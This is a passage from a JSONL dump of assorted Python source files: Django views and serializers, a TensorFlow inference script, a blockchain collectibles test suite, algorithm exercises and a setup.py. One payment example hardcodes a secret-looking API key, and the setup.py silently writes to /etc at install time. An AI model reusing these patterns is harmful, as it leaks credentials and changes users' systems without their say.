\"filled\",\n    \"pending-cancel\",\n    \"canceled\",\n    \"closed\",\n    \"expired\",\n    \"rejected\"\n    \"\"\n]\n\n\nTIMEINFORCE = Literal[\n    \"good-till-cancel\",\n    \"immediate-or-cancel\",\n    \"fill-or-kill\",\n]\n\n\n\n\n# ============================================================\n# TRANSACTIONS\n# ============================================================\n\n\nTRANSACTIONTYPE = Literal[\n    \"withdrawal\",\n    \"deposit\"\n]\n\n","sub_path":"src/noobit_markets/base/ntypes.py","file_name":"ntypes.py","file_ext":"py","file_size_in_byte":2780,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"578448950","text":"# bbin.py\n\ndef donde_insertar(lista, x):\n    '''Algoritmo binario\n    Precondición: la lista está ordenada\n    Devuelve la posición en donde x existe o podría existir\n    '''\n    izq = 0\n    der = len(lista) - 1\n    pos = (izq + der) // 2 # Inicializo respuesta\n    while izq < der:\n        if lista[pos] == x:\n            break\n        if lista[pos] > x:\n            der = pos - 1 # descarto mitad derecha\n        else:\n            izq = pos + 1 # descarto mitad izquierda\n        pos = (izq + der) // 2\n    \n    if lista[pos] < x:\n        pos += 1\n    \n    return pos\n\n\ndef insertar(lista, x):\n    '''Algoritmo binario\n    Precondición: la lista está ordenada\n    Devuelve la posición en donde x existe o lo inserta\n    '''\n    pos = donde_insertar(lista, x)\n    lista.insert(pos, x)\n    \n    return pos","sub_path":"Ejercicios/Clase06/bbin.py","file_name":"bbin.py","file_ext":"py","file_size_in_byte":812,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"334112802","text":"'''\nCreated on Sep 13, 2019\n\n@author: LEE CHUN WEI\n'''\nimport tensorflow as tf\nfrom tensorflow.python.platform import gfile\nimport numpy as np\nimport os\nimport sys\n\ntemlist = list(myinput.split(sep=\",\"))\nnp_input = np.array(temlist, dtype=float)\nprint (np_input)\nlistout = ''\n\nwith tf.Graph().as_default() as graph:\n    with tf.Session() as sess:\n        print(\"load graph\")\n        with gfile.FastGFile(model_path,'rb') as f:\n            graph_def = tf.GraphDef()\n            graph_def.ParseFromString(f.read())\n            sess.graph.as_default()\n \n            tf.import_graph_def(graph_def, input_map=None, return_elements=None, name=\"\", op_dict=None, producer_op_list=None)\n \n            for op in graph.get_operations():\n                    print (\"Operation Name :\",op.name)        \n                    print (\"Tensor Stats :\",str(op.values()))     \n                     \n        l_input = graph.get_tensor_by_name('x:0') # Input Tensor\n        l_output = graph.get_tensor_by_name('out:0') # Output Tensor\n         \n        print (\"Shape of input : \", tf.shape(l_input))\n        tf.compat.v1.global_variables_initializer()\n         \n        Inference_Out = sess.run(l_output, feed_dict = {l_input : np_input.reshape(1,32)})\n        print(Inference_Out)\n        listout = Inference_Out.tolist()\ntemr = 0\ntemcon = 0.0\nif listout[0][0] > listout[0][1]:\n    temr = 0\n    temcon = listout[0][0]\nelse:\n    temr = 1\n    temcon = listout[0][1]\nPredictedClass = str(temr)\nConfidence = str(temcon)\noutput = str(listout[0][0])+ \",\" + str(listout[0][1])\nprint(type(output))","sub_path":"workflow/data/Script.py","file_name":"Script.py","file_ext":"py","file_size_in_byte":1567,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"141084800","text":"'''\r\n@author: Kosh\r\n'''\r\nimport csv\r\nfrom random import shuffle, randint\r\n\r\nfrom pprint import pprint \r\n\r\nfrom streampy.units.base.pooled import Pool, Worker as Base\r\nimport time\r\nclass Worker(Base):\r\n    '''\r\n    Считываем csv файл мешаем его, делаем выборку\r\n    '''\r\n\r\n    def init(self):\r\n        self.data = {}\r\n\r\n        config = self.config\r\n        filename = config['filename']\r\n        imagesPath = config.get('imagesPath')\r\n        print('Loading file {}...'.format(filename))\r\n        with open(filename, 'r') as file:\r\n            reader = csv.reader(file, delimiter = ' ')\r\n            for row in reader:\r\n                if row[1] not in self.data:\r\n                    self.data[row[1]] = {'id': int(row[1]), 'images':[]}\r\n                self.data[row[1]]['images'].append(imagesPath + row[0])\r\n                \r\n    def process(self, inData, inMeta):\r\n        data = []\r\n        try:\r\n            row = self.data.popitem()\r\n            data.append({'identity': row[1]})\r\n        except Exception:\r\n            time.sleep(1)\r\n            pass\r\n        return data\r\n    \r\n    def send(self, outData, outMeta):\r\n        config = self.config\r\n        # если надо внедрять идентификатор \r\n        # то для каждого куска данных делаем отправку отдельно\r\n#         print(outData)\r\n        for data in outData:\r\n            outMeta.update({'id':data['identity']['id']})\r\n            super().send([data], outMeta)\r\n\r\n            ","sub_path":"streampy/units/datasets/getIdentityFromCelebA.py","file_name":"getIdentityFromCelebA.py","file_ext":"py","file_size_in_byte":1547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"247786913","text":"import sys\n\nfd = open(sys.argv[1], 'r')\n\nncases = int(fd.readline()[:-1])\n\nfor case in range(1, ncases+1):\n    npart = int(fd.readline()[:-1])\n    sens = list(map(int, fd.readline()[:-1].split()))\n\n    print(\"Case #\" + str(case) + \":\", end=' ')\n    while any(sens):\n\n        done = False\n\n        maj = max(sens)\n        maj1 = sens.index(maj)\n        print(chr(maj1+65), end='')\n\n        sens[maj1] -= 1\n\n        maj = max(sens)\n        maj2 = sens.index(maj)\n\n        senscpy = sens[:]\n        senscpy[maj2] -= 1\n        absmaj = abs(sum(senscpy))//2\n#        print(absmaj)\n        if not list(filter(lambda x: x > absmaj, senscpy)):\n            print(chr(maj2+65), end='')\n            sens[maj2] -= 1\n\n            print(' ', end='')\n            continue\n\n        print(' ', end='')\n\n    print()\n","sub_path":"codes/CodeJamCrawler/16_3_1/gabriellesc/senate.py","file_name":"senate.py","file_ext":"py","file_size_in_byte":798,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"475138871","text":"# coding=utf-8\nfrom __future__ import unicode_literals\nfrom learning_journal.models import DBSession, Post\n\n\ndef test_models(dbtransaction):\n    new_post = Post(title=\"\\u1555( \\u141b )\\u1557\", text='( \\u0361\\xb0 \\u035c\\u0296 \\u0361\\xb0)')\n    assert new_post.id is None\n    assert new_post.created is None\n    DBSession.add(new_post)\n    DBSession.flush()\n    assert new_post.id is not None\n    assert new_post.created is not None\n","sub_path":"learning_journal/tests/test_models.py","file_name":"test_models.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"51218612","text":"from django.shortcuts import render, redirect, reverse\nfrom django.core.mail import send_mail\nfrom django.template.loader import render_to_string\nfrom django.conf import settings\nfrom django.contrib import messages\n\n\ndef index(request):\n    \"\"\"returns index page\"\"\"\n\n    return render(request, 'home/index.html')\n\n\ndef contact(request):\n    \"\"\"returns contact page\"\"\"\n\n    return render(request, 'home/contact.html')\n\n\ndef about(request):\n    \"\"\"returns about page\"\"\"\n\n    return render(request, 'home/about.html')\n\n\ndef support(request):\n    \"\"\"returns support page\"\"\"\n    if request.method == 'POST':\n        problem = request.POST.get('problem')\n        # send email\n        subject = render_to_string(\n            'checkout/confirmation_emails/support_email_subject.txt',\n            )\n        body = render_to_string(\n            'checkout/confirmation_emails/support_email_body.txt',\n            {'problem': problem, })\n\n        send_mail(\n            subject,\n            body,\n            None,\n            [settings.IT_SUPPORT_EMAIL]\n        )\n        messages.success(request, \"Thanks for contacting me.\\\n        I'll check the issue and let you know as soon as possible\")\n        return redirect(reverse('home'))\n    return render(request, 'home/support.html')\n","sub_path":"home/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1272,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"119942925","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.6 (3379)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/payjp/example.py\n# Compiled at: 2018-06-22 04:34:12\n# Size of source mod 2**32: 365 bytes\nimport payjp\npayjp.api_key = 'sk_test_c62fade9d045b54cd76d7036'\nprint('Attempting charge...')\nresp = payjp.Charge.create(amount=10,\n  currency='jpy',\n  card={'number':'4242424242424242', \n 'exp_month':12, \n 'exp_year':2018},\n  description='a TIROL Choco')\nprint(resp)\nprint('Success: %r' % (resp,))","sub_path":"pycfiles/payjp-0.0.5.macosx-10.6-intel.tar/example.cpython-36.py","file_name":"example.cpython-36.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"587918808","text":"from unittest import mock\nfrom unittest.mock import MagicMock\n\nfrom django.test import TestCase\n\nfrom eth_account import Account\n\nfrom gnosis.eth import EthereumClient\nfrom gnosis.eth.ethereum_client import (\n    Erc721Info,\n    Erc721Manager,\n    EthereumClientProvider,\n    InvalidERC721Info,\n)\nfrom gnosis.eth.tests.ethereum_test_case import EthereumTestCaseMixin\n\nfrom safe_transaction_service.tokens.constants import ENS_CONTRACTS_WITH_TLD\nfrom safe_transaction_service.tokens.models import Token\nfrom safe_transaction_service.tokens.tests.factories import TokenFactory\nfrom safe_transaction_service.utils.redis import get_redis\n\nfrom ..services import CollectiblesService\nfrom ..services.collectibles_service import (\n    Collectible,\n    CollectiblesServiceProvider,\n    CollectibleWithMetadata,\n    Erc721InfoWithLogo,\n    ipfs_to_http,\n)\nfrom .factories import ERC721TransferFactory\nfrom .utils import just_test_if_mainnet_node\n\n\nclass TestCollectiblesService(EthereumTestCaseMixin, TestCase):\n    def test_ipfs_to_http(self):\n        regular_url = \"http://testing-url/path/?arguments\"\n        self.assertEqual(ipfs_to_http(regular_url), regular_url)\n        ipfs_url = \"ipfs://testing-url/path/?arguments\"\n        result = ipfs_to_http(ipfs_url)\n        self.assertTrue(result.startswith(\"http\"))\n        self.assertIn(\"ipfs/testing-url/path/?arguments\", result)\n\n        ipfs_with_path_url = \"ipfs://ipfs/testing-url/path/?arguments\"\n        result = ipfs_to_http(ipfs_with_path_url)\n        self.assertTrue(result.startswith(\"http\"))\n        self.assertNotIn(\"ipfs/ipfs\", result)\n        self.assertIn(\"ipfs/testing-url/path/?arguments\", result)\n\n    def test_get_collectibles(self):\n        mainnet_node = just_test_if_mainnet_node()\n        try:\n            ethereum_client = EthereumClient(mainnet_node)\n            EthereumClientProvider.instance = ethereum_client\n            collectibles_service = CollectiblesService(ethereum_client, get_redis())\n\n            # Caches empty\n            self.assertFalse(collectibles_service.cache_token_info)\n            self.assertFalse(collectibles_service.cache_uri_metadata)\n\n            safe_address = \"0xfF501B324DC6d78dC9F983f140B9211c3EdB4dc7\"\n            ens_address = \"0x57f1887a8BF19b14fC0dF6Fd9B2acc9Af147eA85\"\n            ens_logo_uri = \"/media/tokens/logos/ENS.png\"\n            ens_token_id = 93288724337340885726942883352789513739931149355867373088241393067029827792979\n            dappcon_2020_address = \"0x202d2f33449Bf46d6d32Ae7644aDA130876461a4\"\n            dappcon_token_id = 13\n            dappcon_logo_uri = Token(\n                address=dappcon_2020_address, name=\"\", symbol=\"\"\n            ).get_full_logo_uri()\n            self.assertEqual(collectibles_service.get_collectibles(safe_address), [])\n\n            erc721_addresses = [\n                (dappcon_2020_address, dappcon_token_id),\n                (ens_address, ens_token_id),  # ENS\n            ]\n\n            for erc721_address, token_id in erc721_addresses:\n                ERC721TransferFactory(\n                    to=safe_address, address=erc721_address, token_id=token_id\n                )\n\n            expected = [\n                Collectible(\n                    token_name=\"Ethereum Name Service\",\n                    token_symbol=\"ENS\",\n                    logo_uri=ens_logo_uri,\n                    address=ens_address,\n                    id=ens_token_id,\n                    uri=None,\n                ),\n                Collectible(\n                    token_name=\"DappCon2020\",\n                    token_symbol=\"D20\",\n                    logo_uri=dappcon_logo_uri,\n                    address=dappcon_2020_address,\n                    id=dappcon_token_id,\n                    uri=\"https://us-central1-thing-1d2be.cloudfunctions.net/getThing?thingId=Q1c8y3PwYomxjW25sW3l\",\n                ),\n            ]\n            collectibles = collectibles_service.get_collectibles(safe_address)\n            self.assertEqual(len(collectibles), len(expected))\n            self.assertCountEqual(collectibles, expected)\n\n            expected = [\n                CollectibleWithMetadata(\n                    token_name=\"Ethereum Name Service\",\n                    token_symbol=\"ENS\",\n                    logo_uri=ens_logo_uri,\n                    address=ens_address,\n                    id=93288724337340885726942883352789513739931149355867373088241393067029827792979,\n                    uri=None,\n                    metadata={\n                        \"name\": \"safe-multisig.eth\",\n                        \"description\": \".eth ENS Domain\",\n                        \"image\": collectibles_service.ENS_IMAGE_URL,\n                    },\n                ),\n                CollectibleWithMetadata(\n                    token_name=\"DappCon2020\",\n                    token_symbol=\"D20\",\n                    logo_uri=dappcon_logo_uri,\n                    address=dappcon_2020_address,\n                    id=13,\n                    uri=\"https://us-central1-thing-1d2be.cloudfunctions.net/getThing?thingId=Q1c8y3PwYomxjW25sW3l\",\n                    metadata={\n                        \"minted\": \"Minted on Mintbase.io\",\n                        \"image\": \"https://firebasestorage.googleapis.com/v0/b/thing-1d2be.appspot.com/o/token%2Fasset-1581932081565?alt=media&token=57b47904-1782-40e0-ab6d-4f8ca82e6884\",\n                        \"name\": \"Earlybird Ticket\",\n                        \"forSale\": False,\n                        \"minter\": \"\",\n                        \"external_url\": \"https://mintbase.io/my-market/0x202d2f33449bf46d6d32ae7644ada130876461a4\",\n                        \"fiatPrice\": \"$278.66\",\n                        \"tags\": [],\n                        \"mintedOn\": {\"_seconds\": 1581932237, \"_nanoseconds\": 580000000},\n                        \"amountToMint\": 10,\n                        \"contractAddress\": \"0x202d2f33449bf46d6d32ae7644ada130876461a4\",\n                        \"type\": \"ERC721\",\n                        \"attributes\": [\n                            {\n                                \"display_type\": \"date\",\n                                \"value\": 1599516000,\n                                \"trait_type\": \"Start Date\",\n                            },\n                            {\n                                \"display_type\": \"date\",\n                                \"value\": 1599688800,\n                                \"trait_type\": \"End Date\",\n                            },\n                            {\n                                \"value\": \"Holzmarktstraße 33, 10243 Berlin, Germany\",\n                                \"trait_type\": \"location\",\n                            },\n                            {\n                                \"value\": \"ChIJhz8mADlOqEcR2lw7-iNCoDM\",\n                                \"trait_type\": \"place_id\",\n                            },\n                            {\"value\": \"https://dappcon.io/\", \"trait_type\": \"website\"},\n                        ],\n                        \"price\": \"1.1\",\n                        \"description\": \"This NFT ticket gives you full access to the 3-day conference. \\nDate: 8 - 10 September *** Location: Holzmarktstraße 33 I 10243 Berlin\",\n                        \"numAvailable\": 0,\n                    },\n                ),\n            ]\n            collectibles_with_metadata = (\n                collectibles_service.get_collectibles_with_metadata(safe_address)\n            )\n            self.assertCountEqual(collectibles_with_metadata, expected)\n\n            # Set ens trusted\n            Token.objects.filter(address=ens_address).update(trusted=True)\n            collectibles_with_metadata = (\n                collectibles_service.get_collectibles_with_metadata(\n                    safe_address, only_trusted=True\n                )\n            )\n            self.assertCountEqual(collectibles_with_metadata, expected[:1])\n\n            # Set ens spam\n            Token.objects.filter(address=ens_address).update(trusted=False, spam=True)\n            collectibles_with_metadata = (\n                collectibles_service.get_collectibles_with_metadata(\n                    safe_address, exclude_spam=True\n                )\n            )\n            self.assertCountEqual(collectibles_with_metadata, expected[1:])\n\n            # Caches not empty\n            self.assertTrue(collectibles_service.cache_token_info)\n            self.assertTrue(collectibles_service.cache_uri_metadata)\n        finally:\n            del EthereumClientProvider.instance\n\n    @mock.patch.object(Erc721Manager, \"get_info\", autospec=True)\n    def test_get_token_info(self, get_info_mock: MagicMock):\n        collectibles_service = CollectiblesServiceProvider()\n        random_address = Account.create().address\n\n        # No DB, no blockchain source\n        get_info_mock.side_effect = InvalidERC721Info\n        self.assertFalse(collectibles_service.cache_token_info)\n        self.assertIsNone(collectibles_service.get_token_info(random_address))\n        self.assertTrue(\n            collectibles_service.cache_token_info\n        )  # Cache works for not found tokens too\n\n        # Add DB source\n        token = TokenFactory()\n        self.assertEqual(\n            collectibles_service.get_token_info(token.address),\n            Erc721InfoWithLogo.from_token(token),\n        )\n\n        # Just Blockchain source\n        random_address = Account.create().address\n        self.assertEqual(Token.objects.count(), 1)\n        get_info_mock.side_effect = None\n        get_info_mock.return_value = Erc721Info(\"Uxio Collectible Card\", \"UCC\")\n        token_info = collectibles_service.get_token_info(random_address)\n        self.assertIsInstance(token_info, Erc721InfoWithLogo)\n        self.assertEqual(token_info.name, get_info_mock.return_value.name)\n        self.assertEqual(token_info.symbol, get_info_mock.return_value.symbol)\n        self.assertEqual(Token.objects.count(), 2)\n\n        # Test switch name-symbol when symbol is way longer than name\n        random_address = Account.create().address\n        get_info_mock.return_value = Erc721Info(\n            \"POAP\", \"The Proof of Attendance Protocol\"\n        )\n        token_info = collectibles_service.get_token_info(random_address)\n        self.assertIsInstance(token_info, Erc721InfoWithLogo)\n        self.assertEqual(token_info.symbol, get_info_mock.return_value.name)\n        self.assertEqual(token_info.name, get_info_mock.return_value.symbol)\n        self.assertEqual(Token.objects.count(), 3)\n        self.assertEqual(\n            len(collectibles_service.cache_token_info), 4\n        )  # Cache works for not found tokens too\n\n        # Test ENS (hardcoded)\n        get_info_mock.return_value = None\n        ens_token_address = list(ENS_CONTRACTS_WITH_TLD.keys())[0]\n        token_info = collectibles_service.get_token_info(ens_token_address)\n        self.assertIsNotNone(token_info)\n        ens_logo_uri = \"/media/tokens/logos/ENS.png\"\n        self.assertEqual(token_info.logo_uri, ens_logo_uri)\n        self.assertEqual(Token.objects.count(), 4)\n        self.assertEqual(\n            Token.objects.get(address=ens_token_address).logo.url, ens_logo_uri\n        )\n\n    @mock.patch.object(Erc721Manager, \"get_token_uris\", autospec=True)\n    def test_get_token_uris(self, get_token_uris_mock: MagicMock):\n        redis = get_redis()\n        redis.flushall()\n        token_uris = [\n            \"http://testing.com/12\",\n            None,\n            \"\",\n        ]  # '' will be parsed as None by the service\n        expected_token_uris = [\"http://testing.com/12\", None, None]\n        get_token_uris_mock.return_value = token_uris\n        addresses_with_token_ids = [(Account.create().address, i) for i in range(3)]\n        collectibles_service = CollectiblesServiceProvider()\n        self.assertFalse(collectibles_service.cache_token_uri)\n        self.assertEqual(\n            collectibles_service.get_token_uris(addresses_with_token_ids),\n            expected_token_uris,\n        )\n\n        # Test redis cache\n        redis_keys = redis.keys(\"token-uri:*\")\n        self.assertEqual(len(redis_keys), 3)\n\n        # Test cache\n        self.assertEqual(len(collectibles_service.cache_token_uri), 3)\n        get_token_uris_mock.return_value = []\n        for address_with_token_id, token_uri in zip(\n            addresses_with_token_ids, expected_token_uris\n        ):\n            self.assertEqual(\n                collectibles_service.cache_token_uri[address_with_token_id], token_uri\n            )\n\n        # Test redis cache working\n        collectibles_service.cache_token_uri = {}\n        self.assertEqual(\n            collectibles_service.get_token_uris(addresses_with_token_ids),\n            expected_token_uris,\n        )\n\n    def test_retrieve_metadata_from_uri(self):\n        collectibles_service = CollectiblesServiceProvider()\n        # Test ipfs\n        ipfs_address = \"ipfs://ipfs/Qmc4ZMDNMu5bguGohtGQGx5DQexitnNvf5Rb7Yzbja47bo\"\n        expected_object = {\n            \"description\": \"Flamingo DAO Initial Token\",\n            \"name\": \"Flamingo DAO\",\n            \"image\": \"https://ipfs.io/ipfs/QmXKU5RBTrGaYn5M1iWQaeKuCKV34g417YDGN5Yh7Uxk4i\",\n        }\n\n        self.assertEqual(\n            collectibles_service._retrieve_metadata_from_uri(ipfs_address),\n            expected_object,\n        )\n","sub_path":"safe_transaction_service/history/tests/test_collectibles_service.py","file_name":"test_collectibles_service.py","file_ext":"py","file_size_in_byte":13246,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"229222334","text":"from rest_framework import serializers\nfrom taggit_serializer.serializers import (TagListSerializerField,\n                                           TaggitSerializer)\n\nfrom django.contrib.auth.models import User\nfrom web_novels.models import (\n    Book,\n    Novel_Chapter,\n    PublisherGroup,\n    SubscriptionMember,\n    BookReview,\n    ChapterReview,\n)\nfrom users.models import Profile\n\nclass UserProfileSerializer(serializers.ModelSerializer):\n    class Meta:\n        fields = (\n            'bio',\n            'location',\n            'birth_date',\n            'profile_picture',\n            'most_recent_book',\n        )\n        model = Profile\n\nclass UserSerializer(serializers.ModelSerializer):\n    profile = UserProfileSerializer(read_only=True)\n    class Meta:\n        fields = (\n            'username',\n            'last_login',\n            'date_joined',\n            'profile',\n        )\n        model = User\n\nclass ChapterReviewSerializer(serializers.ModelSerializer):\n    author = UserSerializer()\n    class Meta:\n        fields = (\n            'chapter',\n            'title',\n            'body',\n            'score',\n            'author',\n            'date_created',\n            'date_edited',\n        )\n        model = ChapterReview\n\nclass WebNovelChapterSerializer(serializers.ModelSerializer):\n    reviews = ChapterReviewSerializer(many=True)\n    author = UserSerializer()\n    class Meta:\n        fields = (\n            'title',\n            'book',\n            'author',\n            'chapter_art',\n            'chapter_number',\n            'released',\n            'release_date',\n            'intro',\n            'body',\n            'reviews',\n        )\n        model = Novel_Chapter\n\nclass BookReviewSerializer(serializers.ModelSerializer):\n    author = UserSerializer()\n    class Meta:\n        fields = (\n            'book',\n            'title',\n            'body',\n            'score',\n            'author',\n            'date_created',\n            'date_edited',\n        )\n        model = BookReview\n\nclass NovelSerializer(serializers.ModelSerializer):\n    author = UserSerializer()\n    tags = TagListSerializerField()\n    chapters = WebNovelChapterSerializer(many=True, read_only=True)\n    reviews = BookReviewSerializer(many=True)\n    class Meta:\n        fields = (\n            'title',\n            'author',\n            'cover_image',\n            'released',\n            'release_date',\n            'tags',\n            'genre',\n            'description',\n            'slug',\n            'chapters',\n            'reviews',\n        )\n        model = Book\n\nclass MemberSerializer(serializers.ModelSerializer):\n    subscribed_user = serializers.SerializerMethodField()\n\n    def get_subscribed_user(self, obj):\n        return obj.subscribed_user.username\n\n    class Meta:\n        fields = (\n            'subscribed_user',\n            'date_joined',\n        )\n        model = SubscriptionMember\n\nclass PublisherGroupSerializer(serializers.ModelSerializer):\n    members = MemberSerializer(many=True, read_only=True)\n    author = UserSerializer()\n    class Meta:\n        fields = (\n            'author',\n            'group_name',\n            'group_description',\n            'members',\n            'slug_name',\n        )\n        model = PublisherGroup\n","sub_path":"api/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":3264,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"499013348","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Oct 21 15:01:04 2018\r\n\r\n@author: kamal\r\n\"\"\"\r\n\r\nimport numpy as np \r\nimport matplotlib.pyplot as plt\r\nfrom scipy import linalg\r\n\r\n#graph a\r\nE_13a = [[0, 1], [0, 2], [2, 3], [3, 0], [2, 5], [3, 6], [6, 3], [3, 4], [4, 7], [1, 4]]\r\n\r\n\r\n#graph d \r\n#E_13d = [[0, 3],[3, 5], [3, 1],[1, 0], [1, 2], [2, 1], [4, 3], [5, 6], [6, 7], [7, 4]]\r\n\r\nx_0 = [20, 10, 15, 12, 30, 12, 15, 16]\r\ndt = 0.001\r\nn_vertices = 8\r\n\r\n\r\n\r\ndef left_eigen(L):\r\n    l, w = linalg.eig(L, left=True, right=False)\r\n    \r\n    l = np.real(l)\r\n    w = np.real(w)\r\n    \r\n    arr = np.array(l.real).tolist()\r\n    min_index = arr.index(min(arr))\r\n    \r\n    print(\"The eigen vector corresponding to 0 eigen value is:\")  \r\n    left_vector = np.divide(w[:,min_index],sum(w[:,min_index]))\r\n    print(left_vector)\r\n    print(np.matmul(left_vector, x_0))\r\n    \r\n    vec1 = np.ones(len(l))\r\n    print(np.matmul(left_vector, vec1))\r\n\r\n        \r\ndef plot(x, T):\r\n    \r\n    t = [i*0.001 for i in range(int(T/dt))]\r\n    plt.xlabel('Time')\r\n    plt.ylabel('Temperature')\r\n    plt.plot(t, x[0], label=\"robot 1\")\r\n    plt.plot(t, x[1], label=\"robot 2\")\r\n    plt.plot(t, x[2], label=\"robot 3\")\r\n    plt.plot(t, x[3], label=\"robot 4\")\r\n    plt.plot(t, x[4], label=\"robot 5\")\r\n    plt.plot(t, x[5], label=\"robot 6\")\r\n    plt.plot(t, x[6], label=\"robot 7\")\r\n    \r\n    legend = plt.legend(loc='upper right', shadow=True)\r\n    legend.get_frame().set_facecolor('#ffffff')\r\n    \r\n    plt.show()\r\n\r\ndef convergence(x, vertices):\r\n        for i in range(vertices):\r\n            print(\"The convergence for robot {}\".format(i), x[i][-1])\r\n\r\n#Question 4\r\ndef get_laplacian(E, n_vertices, flag):\r\n    \r\n    A = np.zeros((n_vertices, n_vertices)) # adjancency matrix\r\n    D = np.zeros((n_vertices, n_vertices)) # degree matrix\r\n    laplacian = np.zeros((n_vertices, n_vertices))\r\n\r\n    \r\n    if flag == False:\r\n        # calculate the degree matrix for undirected graph\r\n        for each_vertex in range(n_vertices): # For each_vertex we calculate the degree of that vertex\r\n            degree = 0 \r\n\r\n            for i in list(range(0, len(E))):\r\n                for j in list(range(0, 2)):\r\n                    if(E[i][j] == each_vertex):\r\n                        degree += 1\r\n            D[each_vertex][each_vertex] = degree\r\n        \r\n        # Calculate the adjancency matrix\r\n        for each_vertex in range(len(E)):\r\n            x, y= E[each_vertex][0], E[each_vertex][1]\r\n\r\n            A[x][y] = 1 \r\n            A[y][x] = 1 \r\n\r\n        laplacian = np.subtract(D, A)\r\n        return laplacian\r\n        #print(\"The laplacian for undrirected graph is\\n\", laplacian)\r\n\r\n    if flag == True:\r\n        #Calculate the degree matrix for directed graph\r\n        for each_vertex in range(n_vertices):\r\n            degree_head = 0\r\n\r\n            for i in list(range(len(E))):\r\n                if(E[i][1] == each_vertex):\r\n                    degree_head += 1\r\n            D[each_vertex][each_vertex] = degree_head\r\n\r\n        #Calculate the Adjancency matrix\r\n        for each_vertex in range(len(E)):\r\n            x = E[each_vertex][0]\r\n            y = E[each_vertex][1]\r\n\r\n            A[y][x] = 1\r\n        \r\n        laplacian = np.subtract(D, A)\r\n        return laplacian\r\n        \r\n\r\ndef simulate_consensus(x_0, T, L, dt=0.001):\r\n\r\n    n_step = int(T/dt)\r\n    x = [n_step*[0] for i in range(8)]\r\n\r\n    #x_0 = [20,10,15,12,30,12,15,16,25] #state of robot at initial stage\r\n    \r\n    for i in range(len(x_0)):\r\n        x[i][0] = x_0[i]\r\n    \r\n    for step in range(1,int(T/dt)):\r\n        for r in range(8):\r\n            if(r == 0):\r\n                x[0][step] = x[0][step-1] + dt*(x[3][step-1] - x[0][step-1])\r\n            elif(r == 1):\r\n                x[1][step] = x[1][step-1] + dt*(x[0][step-1] - x[1][step-1])\r\n            elif (r == 2):\r\n                x[2][step] = x[2][step-1] + dt*(x[0][step-1] - x[2][step-1])\r\n            elif(r == 3):\r\n                x[3][step] = x[3][step-1] + dt*(x[6][step-1] + x[2][step-1] - 2*x[3][step-1])\r\n            elif(r == 4):\r\n                x[4][step] = x[4][step-1] + dt*(x[3][step-1] + x[1][step-1] - 2*x[4][step-1])\r\n            elif(r == 5):\r\n                x[5][step] = x[5][step-1] + dt*(x[2][step-1] - x[5][step-1])\r\n            elif(r == 6):\r\n               x[6][step] =  x[6][step-1] + dt*(x[3][step-1] - x[6][step-1])\r\n            elif(r == 7):\r\n                x[7][step] = x[7][step-1] + dt*(x[4][step-1] - x[7][step-1])    \r\n            \r\n#    plot(x, T)\r\n#    convergence(x, n_vertices)\r\n\r\nL = get_laplacian(E_13a, 8, True)\r\nsimulate_consensus(x_0, 50, L, dt)\r\nleft_eigen(L)\r\n","sub_path":"Assignment 2/exercise 1_3/Ex1.3a.py","file_name":"Ex1.3a.py","file_ext":"py","file_size_in_byte":4609,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"122597801","text":"import os\nimport sys\nfrom setuptools import setup, find_packages\n\ntry: # for pip >= 10\n    from pip._internal.req import parse_requirements\nexcept ImportError: # for pip <= 9.0.3\n    from pip.req import parse_requirements\n\nrequirements = [str(ir.req) for ir in parse_requirements(\"requirement\", session=False)]\n\nif not os.path.exists(\"/etc/fdfs\"):\n\tos.mkdir(\"/etc/fdfs\")\nos.system(\"\\cp ./conf/client.conf /etc/fdfs/\")\n\nsetup(\n\tname = \"dtools\",\n\tversion = \"1.0\",\n\tauthor = \"louhuazhe\",\n\tauthor_email = \"707553427@qq.com\",\n\tlicense ='ehualu',\n\tdescription = \"data operator tool\",\n\turl = \"https://github.com/louhzmaki/dtools\",\n\tpackages=find_packages(),\n\tpackage_data={'': ['*.*']},\n\tinstall_requires=requirements,\n\tentry_points = {\n\t\t'console_scripts':[\n\t\t\t\"dtools = dtools.__init__:choose\"\n\t\t]\n\t},\n\tclassifiers=[\n        \t'Programming Language :: Python',\n        \t'Operating System :: Microsoft :: Windows',\n        \t'Operating System :: Unix'\n    \t],\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":954,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
